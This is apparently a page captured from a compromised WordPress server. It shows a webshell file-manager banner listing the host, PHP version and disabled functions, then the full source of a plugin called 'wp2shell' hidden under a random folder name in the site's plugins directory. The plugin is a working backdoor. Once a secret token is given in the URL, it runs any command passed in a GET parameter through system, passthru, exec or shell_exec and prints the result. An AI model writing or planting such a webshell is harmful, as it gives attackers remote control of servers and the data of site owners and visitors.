WS_OK_7.4.33 HEX
HEX
Server: nginx/1.21.4
System: Linux v12674 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: endtheignorance (1014)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v12674/endtheignorance/public_html/wp-content/plugins/trAvis7bebceb9/trAvis7bebceb9.php
<?php
/*
Plugin Name: wp2shell
Description: PoC webshell. DELETE AFTER TESTING.
*/
$_t = isset($_GET['t']) ? (string)$_GET['t'] : '';
if (hash_equals('946e06a15a36bb465119143d7b7074fe', $_t)) {
    echo 'WP2SHELL::';
    if (isset($_GET['c'])) {
        $c = (string)$_GET['c'];
        if (function_exists('system')) { ob_start(); system($c); echo ob_get_clean(); }
        elseif (function_exists('passthru')) { ob_start(); passthru($c); echo ob_get_clean(); }
        elseif (function_exists('exec')) { exec($c, $o); echo implode("\n", $o) . "\n"; }
        elseif (function_exists('shell_exec')) { echo (string)shell_exec($c); }
    }
    echo '::END';
}